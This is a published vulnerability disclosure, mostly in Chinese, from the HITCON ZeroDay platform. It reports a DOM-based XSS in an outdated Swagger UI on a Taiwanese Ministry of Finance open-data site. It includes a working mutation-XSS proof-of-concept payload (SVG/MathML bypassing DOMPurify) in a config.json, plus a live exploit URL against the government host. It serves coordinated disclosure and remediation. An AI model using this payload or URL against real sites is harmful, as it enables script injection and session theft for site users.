Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-00520
- Vendor: 財政部
- Title: 財政部 財政資訊中心政府開放資料 Unvalidated Swagger Parameter Leads to XSS
- Introduction: Swagger UI 在舊版中未對可渲染 HTML 的欄位(如 description)進行嚴格過濾,攻擊者可藉此注入任意 HTML。
處理狀態
目前狀態
公開
Last Update : 2025/08/05
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2025/06/05 04:08:09 : 新提交 (由 CheN.. 更新此狀態)
- 2025/06/05 04:19:53 : 新提交 (由 CheN.. 更新此狀態)
- 2025/06/05 04:22:20 : 新提交 (由 CheN.. 更新此狀態)
- 2025/06/05 04:23:44 : 新提交 (由 CheN.. 更新此狀態)
- 2025/06/05 04:24:23 : 新提交 (由 CheN.. 更新此狀態)
- 2025/06/08 17:04:36 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/06/12 16:17:00 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/06/12 16:17:00 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/06/12 16:17:00 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/05 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-00520
- 通報者:SamChen_696 (CheN..)
- 風險:中
- 類型:基於 DOM 的 XSS (DOM-based Cross-Site Scripting)
參考資料
攻擊者可經由該漏洞竊取使用者身份,或進行掛碼、轉址等攻擊行為。
漏洞說明: OWASP - Cross-site Scripting (XSS)
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
防護原則:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
XSS 防禦繞過方式:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
漏洞說明: OWASP - Cross-site Scripting (XSS)
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
防護原則:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
XSS 防禦繞過方式:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://openapi.mof.gov.tw/OAM/swagger-ui.html?configUrl=https://gist.githubusercontent.com/Samer666569/0a1769e5ece521ba4b86b780d85aace0/raw/89ddcacc943f50653d8faf3257d74b05c545978f/config.json
敘述
我最近在探索台灣各網站的 Swagger UI ,發現許多存在版本過舊問題,導致 XSS 和 HTML injection (應該會同步通報到單位)
概述(成因):
由於網站仍使用舊版 Swagger UI(版本低於 3.38.0),這些版本內建的 DOMPurify 存在已知 MathML 及 SVG 變異型 XSS 繞過。攻擊者只要在被託管的 config JSON 裡,針對 OpenAPI 文件的 description 欄位,插入特定 SVG/MathML payload,就可繞過 DOMPurify 造成 XSS 。舊版未對 description、summary 等可輸出 HTML 的欄位進行嚴格過濾,導致惡意腳本以 innerHTML 形式執行於使用者瀏覽器。
PoC:
完整 config.json
{
"spec": {
"openapi": "3.0.0",
"info": {
"title": "XSS PoC",
"version": "1.0",
"description": "<math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title=\"</textarea><img src='#' onerror='alert(document.domain)'>\">"
},
"paths": {}
}
}
影響:
攻擊者可在受害者瀏覽器執行任意 JavaScript(跟一般XSS影響相同)
備註:風險參考我先前報告給某單位的評估
還有https://eip.fia.gov.tw/OAI/swagger-ui.html此站點也是使用舊版Swagger UI,只是被CSP阻擋無法載入外站資源,但同樣建議更新版本
補充資料
可以參考 HackerOne 上的相似案例
HackerOne Report #1736378
HackerOne Report #2321874
修補建議
將所有 Swagger UI 升至 4.1.3 以上版本,新版 DOMPurify 已修復相關 XSS 問題,並採用更嚴謹的 sanitize 機制。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。